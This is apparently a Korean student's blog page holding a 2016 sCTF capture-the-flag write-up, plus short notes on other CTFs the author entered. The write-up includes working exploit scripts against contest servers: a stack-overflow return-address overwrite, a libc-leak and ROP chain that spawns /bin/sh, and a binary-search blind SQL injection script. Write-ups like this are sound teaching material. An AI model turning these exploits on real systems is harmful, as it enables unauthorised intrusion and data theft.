2016 sCTF Write-up

CTF/Write-up 2016. 4. 17. 00:29






혼자 참가했습니다.

팀명은 "Ar@Kor" 였고, 주말에 한시간쯤 잡고 평일에 조금씩 잡고 풀었습니다.

한국에서 참가한 다른 팀들은 놀면서 풀었는지 좀 밑에 있어서 놀랐습니다.


저걸 다 쓰기에는 양도 많고, 재미없는 문제들도 몇개 있어서 재밌었던거라던가, 올릴만한것만 올리겠습니다.

안올릴 문제들은 간단하게 설명만 하겠습니다.




When in Rome


그냥 엄청 간단한 Caesar Cipher 암호입니다.

Caesar Cipher Decoder/Decrypt 등으로 검색해서 돌리면 풀립니다.

Caesar 암호는 보안 공부하기 시작하고 직후에 배운 암호라 기억에 많이 남아있네요.




Banana Boy


스테가노그래피 문제였던걸로 기억합니다.

헥스에디터로 열어보면 뒷부분에 이미지 파일이 있고, 열어보면 키가 있었습니다.




rev1


말할 필요가 있나요.

그냥 키가 하드코딩되어있었습니다.




Ducks


source.php 에 들어가면 소스가 보이는 것을 알 수 있습니다.

이것을 보면 인자로 특정 값을 더 받는데, 그 인자는 form에 포함되어 있지 않기 때문에 해당 인자를 포함시켜줘야 합니다.

이 인자와 원래 들어가는 인자가 같을 경우 통과되기 때문에 같은 값을 넣어주면 됩니다.

저는 Fiddler를 이용해서 인자 부분을  pass=123&thepassword_123=123 형식으로 입력하고 보내서 플래그를 얻었습니다.




rev2


rev1이랑 크게 다를바가 없습니다.

하드코딩되어있는데, 리틀엔디안 방식으로 보이게 되어있기 때문에 IDA에서 4글자씩 문자열로 변환한 뒤

엔디안에 맞춰서 배열해주면 그것이 플래그입니다.




Lengthy Lingo


파일을 열어보면 뭔가 랜덤한 정수들이 나열되어 있고, ',' 로 각각이 구분되어 있습니다.

처음에는 조금 헤메었는데, ',' 로 나눈 후 각각의 길이를 재 보니 전부 ASCII 값이어서 이거다 싶어서 파이썬으로 코드를 짜서 돌렸습니다.

결국 제목의 Length라는 문자열이 힌트였던 셈이었습니다.

코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
= open('encrypted.dat''r')
data = f.read()
f.close()
data = data.split(', ')
 
req = ""
for i in data:
    req += chr(len(i))
print req
cs





Secure Text Saver


APK 리버싱 문제였습니다.

해당 jar 파일 내부에는 Account.class와 Login_Page.class가 있는데, 이 중 Login_Page.class 를 디컴파일하여 확인해 보면,


이런 부분이 있고, 이게 ID와 Password인 것을 알 수 있습니다.

그대로 입력하면 플래그가 등장합니다.




Cookies


마찬가지로 APK 리버싱 문제입니다.

이를 디컴파일하여 내부를 살펴 보면

이런 루틴이 있습니다.

md5한 값이 저 값이 되어야 하므로, 이를 hashkiller 등에서 찾아 보면 'thisisaverystrongpassword' 라는 문자열임을 알 수 있습니다.

이를 입력하면 플래그가 들어 있던 창이 나타납니다.




pwn1


32비트 포너블 문제입니다.

Demon으로 서비스가 작동하고 있었고, C++로 짜여 있었습니다.

코드는 매우 심플했습니다.



처음엔 이걸 보고 C++인걸 알고 엄청 질려버려서 바로 닫아버렸는데, 나중에 잡고 보니 매우 쉬운 문제였습니다.

우선 fgets로 s라는 stack 기반 char형 배열에 32글자를 받아옵니다.

여기만으로는 오버플로우가 불가능하지만,


이후 이를 std::string에 담아서 'I'라는 문자열을 'you'라는 문자열로 바꿉니다.

이후 c_str을 이용해 std::string이었던 string형을 다시 s에 복사합니다.

이로 인해 한 글자였던 'I'가 세 글자인 'you'로 바뀌게 되어 return address를 덮어쓸수 있게 됩니다.


여기서 고생해버린게, 그냥 문자열 목록을 보니 "cat flag.txt" 가 보이고 system 함수가 있길래

이를 이용해서 RTL로 풀려고 했었는데, 이상하게 한 글자정도가 부족하여 실행이 되지 않았습니다.

몇 시간동안 삽질을 하다 다시 함수 목록을 확인해 보니, get_flag라고 하는 함수가 있었고, 이 내부에서는

system("cat flag.txt") 를 실행해주고 있었습니다.

따라서 return address를 이 함수의 주소로 넣어주는 것으로 플래그를 얻을 수 있었습니다.


페이로드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hackutil import *
from socket import *
from telnetlib import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1337
 
command = 0x080497F0
system_plt = 0x08048C40
system_got = 0x0804B028
printf = 0x0804B060
 
target = 0x08048F0D
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "I"*21 + "A" + p32(target)
 
print len(payload)
 
sock.send(payload+'\n')
 
= Telnet()
t.sock = sock
t.interact()
cs




pwn2


이게 오히려 pwn1보다 더 시간이 덜 걸렸습니다.


코드도 심플합니다.

입력할 길이를 확인해서 32 이하일 경우에만 해당 길이만큼 문자열을 입력받게 해주는데,

-1 등 음수를 입력하면 unsigned로 바꾸었을 때, 매우 큰 숫자가 되므로 이를 이용해 char형 배열인 nptr을 오버플로우 할 수 있습니다.

이후는 간단한 ROP입니다.


코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hackutil import *
from socket import *
from telnetlib import *
from time import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1338
printf_plt = 0x08048370
libc_main_got = 0x0804A018
setvbuf_got = 0x804A01C
vuln = 0x0804852F
offset_libc_main_system = 0x19990 - 0x40190
offset_libc_main_binsh = 0x19990 - 0x160A24
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
# libc_main Leak
 
print sock.recv(1024)
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(printf_plt) + p32(vuln) + p32(libc_main_got)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
data = sock.recv(1024)
 
libc_main_lib = up32(data[:4])[0]
print "[*] Find libc_main_lib : " + str(hex(libc_main_lib))
 
system_lib = libc_main_lib - offset_libc_main_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
binsh = libc_main_lib - offset_libc_main_binsh
print "[*] Find /bin/sh : " + str(hex(binsh))
 
# Attack
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(system_lib) + 'AAAA' + p32(binsh)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs





Verticode, Vertinet


이 둘은 매우 비슷한 문제였기 때문에 함께 쓰겠습니다.

verticode는 매우 긴 이미지 파일을 하나 주고, 이 안에 들어 있는 색과 흑백값을 이용해 ASCII로 변환하는 문제였습니다.

한 줄당 하나의 색과 총 8개의 흑백값이 주어졌으며 이를 분석하기 위해 python image library를 사용하였습니다.

vertinet은 verticode와 같은 형식이지만, 특정 포트로 접속하여 이미지 소스를 받은 후 이를 Base64 decode하여 이미지 파일로 저장하고,

해독 후 다시 서버로 응답하는 과정을 (정확히는 기억이 잘 안나지만) 60회정도 반복하면 플래그를 보내주는 문제였습니다.

둘 모두 소스를 올리도록 하겠습니다.


<verticode>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from PIL import Image
 
# 84 * 12 = Color  +  12 * 12 * 8 = Code
# 0 RED     : 255 0 0
# 1 Purple     : 128 0 128
# 2 Blue    : 0 0 255
# 3 Green    : 0 128 0
# 4 Yellow    : 255 255 0
# 5 Orange    : 255 165 0
 
flag = ""
 
im = Image.open('code1.png')
width, height = im.size
print "width : %d, height : %d" % (width, height)
 
rgb_im = im.convert('RGB')
 
for i in range(01290012):
    r, g, b = rgb_im.getpixel((1, i+1))
    #print r, g, b # GET COLOR
    color_store = str(r)+"."+str(g)+"."+str(b)
 
 
    code_store = ""
    for j in range(8416812):
        r, g, b = rgb_im.getpixel((j+1, i+1))
        if r==255 and g==255 and b==255:
            code_store += "0"
        else:
            code_store += "1"
    #print code_store
 
    code = int(code_store, 2)
    if color_store == "255.0.0":
        pass
    elif color_store == "128.0.128":
        code -= 1
    elif color_store == "0.0.255":
        code -= 2
    elif color_store == "0.128.0":
        code -= 3
    elif color_store == "255.255.0":
        code -= 4
    elif color_store == "255.165.0":
        code -= 5
    else:
        print "[Error] " + color_store
    print chr(code)
    flag += chr(code)
print "[*] Find : "+flag
cs



<vertinet>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from socket import *
from base64 import *
from PIL import Image
import httplib
 
HOST = 'problems1.2016q1.sctf.io'
PORT = 50000
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
while(True):
    try:
        data = sock.recv(10000)
        if "base64" not in data:
            break
        data = data[data.find('base64,')+7:data.find("'></img><br>")]
 
        f = open('tmp.png''wb')
        f.write(b64decode(data))
        f.close()
 
        print "[*] Image Saved"
 
        flag = ""
 
        im = Image.open('tmp.png')
        width, height = im.size
        print "width : %d, height : %d" % (width, height)
 
        rgb_im = im.convert('RGB')
 
        for i in range(0, height, 12):
            r, g, b = rgb_im.getpixel((1, i+1))
            #print r, g, b # GET COLOR
            color_store = str(r)+"."+str(g)+"."+str(b)
 
 
            code_store = ""
            for j in range(8416812):
                r, g, b = rgb_im.getpixel((j+1, i+1))
                if r==255 and g==255 and b==255:
                    code_store += "0"
                else:
                    code_store += "1"
            #print code_store
 
            code = int(code_store, 2)
            if color_store == "255.0.0":
                pass
            elif color_store == "128.0.128":
                code -= 1
            elif color_store == "0.0.255":
                code -= 2
            elif color_store == "0.128.0":
                code -= 3
            elif color_store == "255.255.0":
                code -= 4
            elif color_store == "255.165.0":
                code -= 5
            else:
                print "[Error] " + color_store
            flag += chr(code)
        print "[*] Find : "+flag
 
        sock.send(flag)
    except:
        print data
print data
cs




President


간단한 웹 문제였는데 푸는데 삽질을 해버려서 시간이 좀 오래걸렸습니다.

페이지에 들어가면 대통령 후보인지는 잘 모르겠지만 어쨌든 다섯 명쯩 되는 사진이 있고

검색할 수 있는 form이 하나 있는 것을 볼 수 있습니다.

대충 넣어보기만 해도 SQL Injection 취약점이 있는 것을 알 수 있었고, 이를 이용해 Blind SQL Injection을 진행했습니다.

이걸로 키만 바로 뽑으면 되는데 comment에 limit 0~3까지 아무 값도 안나오길래 이미지 URL도 뽑고 온갖 value를 다 뽑았었는데

결국 limit 4,1에서인지 5,1에서인지 플래그 값이 등장해서 문제를 허무하게 풀었습니다. 

이번에 이진 탐색으로 BSQLi 소스를 짜게 되는 계기가 되어 이후 문제를 좀 더 빨리 풀 수 있게 되었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import httplib
import urllib
 
#======================= Config ======================
isGET = False
printLog = False
 
PASSWD_LENGTH = 100
TARGET = "president.sctf.michaelz.xyz"
URL = "/"
PORT = 80
SUCCESS = "<td>Hillary</td>"
 
HEADER = {
    "Content-Type":"application/x-www-form-urlencoded",
    "Cookie":"_cfduid=d941155476c769c74216d245c25c99e411460529242"
}
#=====================================================
 
req = ""
checklast = False
 
print "[*] Blind SQL Injection to '"+TARGET+":"+str(PORT)+URL+"' Start"
print "[*] Printing Log : " + str(printLog)
if isGET == True:
    print "[*] HTTP Method : GET"
else:
    print "[*] HTTP Method : POST" 
 
for k in range(56):
    for i in range(24, PASSWD_LENGTH):
        left = 32
        right = 127
        mid = (left+right)/2
        while True:
            conn = httplib.HTTPConnection(TARGET, PORT)
            PARAM = urllib.urlencode({
                #"search":"aaa' or ascii(substr((select table_name from information_schema.tables limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                #"search":"aaa' or ascii(substr((select column_name from information_schema.columns where table_name='candidates' limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                "search":"aaa' or ascii(substr((select comment from candidates limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
            })
            if printLog:
                print "[%d][%d][%d]" % (k, i, mid)
 
            if isGET==True:
                conn.request('GET', URL+"?"+PARAM, "", HEADER)
            else:
                conn.request('POST', URL, PARAM, HEADER)
            res = conn.getresponse().read()
 
            if SUCCESS in res:
                if mid == left:
                    print "[*] Find : "+chr(right)
                    req += chr(right)
                    break
                elif mid == right:
                    print "[*] Find : "+chr(left)
                    req += chr(left)
                    break
                left = mid
                mid = (left+right)/2
                checklast = False
 
            else:
                if mid == left or mid == right:
                    print "[*] Find String : " + req
                    checklast = True
                    break
                right = mid
                mid = (left+right)/2
        if checklast:
            req = ""
            break
 
# table : candidates
 
# The Hacker Anonymous
 
# Flag : sctf{why_do_people_still_make_sites_like_this}
 
cs






################# 후기 ##################


심심해서 참가해 본 대회지만 의외로 풀만한 문제가 엄청 많아서 재밌었습니다.

나중에 다른 사람들과 팀도 짜서 제대로 한번 나가보고 싶네요.

(난민은 웁니다 엉엉)


'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


Codegate 2016 Junior Prequal Write-up.pdf


'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



( 문제 서버가 닫혀서 이미지는 따로 첨부하지 않겠습니다. )



13th HackingCamp CTF Write-up.pdf


이번 팀명은 'CPerl' 이었습니다.

C 언어와 Perl 언어를 합쳐서 지은 이름으로, CTF 도중 튀어나오는 비속어들을 합법적으로 입밖으로 배출시키기 위하여 지은 이름이라고 합니다.

저는 전체 문제 중 웹 2문제, 포너블 6문제를 풀었습니다.

저번 12회 해킹캠프처럼 혼자 대부분의 문제를 풀어서 1위를 하는, 그런 영웅극(?)을 한번 더 찍어보고 싶었지만

이번에는 12회에 비해 문제 유형이 더욱 다양해지고 난이도도 올랐기 때문에 그렇게 하는 것은 쉽지가 않았습니다.

게다가 후배가 속했던 팀이 엄청 문제를 잘 풀어서 도저히 따라잡을수도 없었습니다.

결국 3위로 CTF를 마무리하게 되어 조금 아쉽다고 생각하고 있습니다.


마지막까지 열심히 풀어준 팀장님과 팀원들께도 고맙다는 말을 남기고 싶습니다.

다른 CTF에서도 열심히 문제를 풀도록 하겠습니다.

'CTF > Write-up' 카테고리의 다른 글

2016 sCTF Write-up  (0) 2016.04.17
Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,


예선


본선


예선, 본선 모두 1위로 우승을 차지했습니다.

처음으로 예선 본선 나뉜 대회에서 개인의 힘으로 우승을 거머쥐어서 매우 뜻깊었던 대회라고 생각합니다.

시상식은 11월 27일 비즈쿨 페스티벌에 할 예정이라고 합니다.


Dimicon Prequal Write-up (5kyc1ad).pdf


Dimicon Qual Write-up (5kyc1ad).pdf






'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,





Write-up은 아니지만 여기에 올리도록 하겠습니다.

이번 대회에는 포렌식을 기본으로 한 10문제가 나왔는데,  그중 두 문제를 풀고 전체 21위를 하였습니다.

획득 점수 40%, 보고서 60% 로 합산하여 본선 진출이 결정되지만 어차피 2000점대로는 아무리 보고서를 잘 써도

(솔직히 보고서 잘 쓰려면 분석도, 즉 문제도 잘 풀어야 하기 때문에)

본선은 나갈 수 없을 것 같아 보고서는 따로 작성하지 않았습니다.


나중에 가능하다면 푼 문제의 Write-up을 작성하여 올리도록 하겠습니다.

여전히 내 실력은 바닥을 기고 있다는 것을 알려 주는 결과였습니다.

더 공부해야지...

'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,







12th HackingCamp CTF Write-up.pdf

 

이번 해킹캠프 CTF 팀명은 'ITBANK' 였습니다.

사진상 총 3800점이지만 마지막에 입력한 300점이 무효화

처리 되어 2등과 동점인 3500점으로 우승을 차지했습니다.

부상은 전과 마찬가지로 PoC Conference 참가권이었기 때문에 얻은 것은 명예라고 할 수 있겠네요.

저는 총 3800점 중 2800점을 Auth하였습니다.

2300점은 스스로 풀어내었고 포너블 500점짜리 문제는 김낙현군의 파워게싱으로 풀어냈습니다.

지금도 그때의 그 허전함과 흥분감이 떠오릅니다.


문제풀이에 열심히 집중해 준 다른 팀원들에게도 모두 감사의 말을 전하고 싶습니다.

다음부터도 더욱 분발하여 좋은 결과를 내도록 하겠습니다.



'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



제대로 순위권 내에 들지는 못했지만 후배들과 열심히 푼 결과이므로 Write-up을 업로드합니다.

이 Write-up에는 제가 푼 문제들의 풀이만 들어 있습니다.


2015 Inc0gnito CTF.pdf


'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,